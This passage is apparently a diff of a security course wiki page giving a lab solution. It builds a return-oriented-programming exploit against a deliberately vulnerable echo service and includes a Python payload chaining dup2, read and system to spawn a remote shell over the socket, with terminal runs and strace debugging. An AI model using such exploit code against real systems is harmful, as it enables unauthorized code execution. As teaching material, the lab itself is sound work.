| + | If you need more, contact our sales representatives at legit_services@lol.cat | ||
| + | /bin/sh | ||
| + | </ | ||
| + | We can see that the stack right before returning from the '' | ||
| + | |||
| + | Let's now run it outside GDB. We should have no problems since all addresses we are using are not influenced by the GDB environment.< | ||
| + | --- server side --- | ||
| + | $ ./ | ||
| + | |||
| + | --- client side --- | ||
| + | |||
| + | $ (python payload-aslr.py; | ||
| + | ============================================== | ||
| + | Welcome to the Echo service | ||
| + | ============================================== | ||
| + | For your free trial, we will only echo 1024 bytes back to you | ||
| + | If you need more, contact our sales representatives at legit_services@lol.cat | ||
| + | /bin/sh | ||
| + | ls | ||
| + | echo_service | ||
| + | echo_service.c | ||
| + | echo_service-rop.txt | ||
| + | payload-aslr-alt.py | ||
| + | payload-aslr.py | ||
| + | payload-no-aslr.py | ||
| + | peda-session-echo_service.txt | ||
| + | ps | ||
| + | PID TTY TIME CMD | ||
| + | 8153 pts/4 00:00:00 echo_service | ||
| + | 8218 pts/4 00:00:00 echo_service | ||
| + | 8265 pts/4 00:00:00 sh | ||
| + | 8266 pts/4 00:00:00 sh | ||
| + | 8337 pts/4 00:00:00 ps | ||
| + | 18617 pts/4 00:00:00 bash | ||
| + | </ | ||
| + | |||
| + | Excellent! We have created a shell by calling '' | ||
| + | |||
| + | As you can see, we rely on the '' | ||
| + | $ (python payload-aslr.py; | ||
| + | ============================================== | ||
| + | Welcome to the Echo service | ||
| + | ============================================== | ||
| + | For your free trial, we will only echo 1024 bytes back to you | ||
| + | If you need more, contact our sales representatives at legit_services@lol.cat | ||
| + | ls | ||
| + | echo_service | ||
| + | echo_service.c | ||
| + | echo_service-rop.txt | ||
| + | payload-aslr-alt.py | ||
| + | payload-aslr.py | ||
| + | payload-no-aslr.py | ||
| + | peda-session-echo_service.txt | ||
| + | ps | ||
| + | PID TTY TIME CMD | ||
| + | 9287 pts/4 00:00:00 echo_service | ||
| + | 9661 pts/4 00:00:00 echo_service | ||
| + | 9695 pts/4 00:00:00 sh | ||
| + | 9697 pts/4 00:00:00 sh | ||
| + | 9745 pts/4 00:00:00 ps | ||
| + | 18617 pts/4 00:00:00 bash | ||
| + | </ | ||
| + | |||
| + | ==== Alternative ASLR Payload and Testing ==== | ||
| + | |||
| + | If we wanted to provide the '' | ||
| + | |||
| + | The updated payload file will be:<file Python payload-aslr-alt.py> | ||
| + | # | ||
| + | |||
| + | import sys | ||
| + | import struct | ||
| + | |||
| + | # 0x8048b6e: pop edi; pop ebp; ret | ||
| + | pop_pop_ret = 0x8048b6e | ||
| + | # 0x8048b6d: pop esi; pop edi; pop ebp; ret | ||
| + | pop_pop_pop_ret = 0x8048b6d | ||
| + | # libc : 0xb7f561a9 ("/ | ||
| + | bin_sh = 0xb7f561a9 | ||
| + | # Symbol " | ||
| + | system_plt = 0x8048670 | ||
| + | # Symbol " | ||
| + | dup2_plt = 0x80485f0 | ||
| + | # Symbol " | ||
| + | read_plt = 0x8048600 | ||
| + | # [24] .data | ||
| + | data = 0x0804a060 | ||
| + | |||
| + | # Offset from buffer start to function return address is 1040. | ||
| + | payload = 1040*" | ||
| + | |||
| + | # Add ROP for dup2(sockfd, | ||
| + | # * address of dup2() | ||
| + | # * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) | ||
| + | # * dup2 arguments: sockfd (4) and standard output (1) | ||
| + | payload += struct.pack("< | ||
| + | |||
| + | # Add ROP for dup2(sockfd, | ||
| + | # * address of dup2() | ||
| + | # * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) | ||
| + | # * dup2 arguments: sockfd (4) and standard input (0) | ||
| + | payload += struct.pack("< | ||
| + | |||
| + | # Add ROP for read(sockfd, | ||
| + | # * address of read() | ||
| + | # * return addres of read(): gadget to pop read(arguments) (pop_pop_pop_ret) | ||
| + | # * read arguments: 4, data address, 8 bytes for /bin/sh\n | ||
| + | payload += struct.pack("< | ||
| + | |||
| + | # Add ROP for system("/ | ||
| + | # * address of dup2() | ||
| + | # * return address for system(): we don't care, just use zero | ||
| + | # * system argument: address of "/ | ||
| + | payload += struct.pack("< | ||
| + | |||
| + | # Fill 4096 bytes to complete read() call. | ||
| + | bytes_so_far = len(payload) | ||
| + | payload += (4096-bytes_so_far)*" | ||
| + | |||
| + | # Send "/ | ||
| + | payload += "/ | ||
| + | |||
| + | sys.stdout.write(payload) | ||
| + | </ | ||
| + | |||
| + | As said we've added additional payload to fill the '' | ||
| + | |||
| + | However, the moment we test the program we see it fails:< | ||
| + | --- server side --- | ||
| + | |||
| + | $ ./ | ||
| + | |||
| + | --- client side --- | ||
| + | |||
| + | $ (python payload-aslr-alt.py; | ||
| + | ============================================== | ||
| + | Welcome to the Echo service | ||
| + | ============================================== | ||
| + | For your free trial, we will only echo 1024 bytes back to you | ||
| + | If you need more, contact our sales representatives at legit_services@lol.cat | ||
| + | ls | ||
| + | |||
| + | --- server side under strace --- | ||
| + | |||
| + | $ strace -f -e execve ./ | ||
| + | execve(" | ||
| + | [ Process PID=14923 runs in 32 bit mode. ] | ||
| + | Process 15032 attached | ||
| + | Process 15033 attached | ||
| + | [pid 15033] execve("/ | ||
| + | [pid 15033] +++ exited with 127 +++ | ||
| + | [pid 15032] --- SIGCHLD {si_signo=SIGCHLD, | ||
| + | [pid 15032] --- SIGSEGV {si_signo=SIGSEGV, | ||
| + | [pid 15032] +++ killed by SIGSEGV +++ | ||
| + | --- SIGCHLD {si_signo=SIGCHLD, | ||
| + | |||
| + | </ | ||
| + | |||
| + | We use '' | ||
| + | |||
| + | We update the extra padding line in the payload:< | ||
| + | # Fill 4096 bytes to complete read() call. | ||
| + | bytes_so_far = len(payload) | ||
| + | payload += (4096-bytes_so_far)*" | ||
| + | </ | ||
| + | |||
| + | We test the program again and we see it works:< | ||
| + | --- server side --- | ||
| + | $ ./ | ||
| + | |||
| + | --- client side --- | ||
| + | |||
| + | $ (python payload-aslr-alt.py; | ||
| + | ============================================== | ||
| + | Welcome to the Echo service | ||
| + | ============================================== | ||
| + | For your free trial, we will only echo 1024 bytes back to you | ||
| + | If you need more, contact our sales representatives at legit_services@lol.cat | ||
| + | ls | ||
| + | echo_service | ||
| + | echo_service-rop.txt | ||
| + | echo_service.c | ||
| + | payload-aslr-alt.py | ||
| + | payload-aslr.py | ||
| + | payload-no-aslr.py | ||
| + | peda-session-echo_service.txt | ||
| + | ps | ||
| + | PID TTY TIME CMD | ||
| + | 16884 pts/4 00:00:00 echo_service | ||
| + | 16962 pts/4 00:00:00 echo_service | ||
| + | 16963 pts/4 00:00:00 sh | ||
| + | 16965 pts/4 00:00:00 sh | ||
| + | 16995 pts/4 00:00:00 ps | ||
| + | 18617 pts/4 00:00:00 bash | ||
| + | </ | ||
| + | A shell is created through a ROP-based attack. Work complete! | ||
session/solution/11.1436288452.txt.gz · Last modified: by Razvan Deaconescu
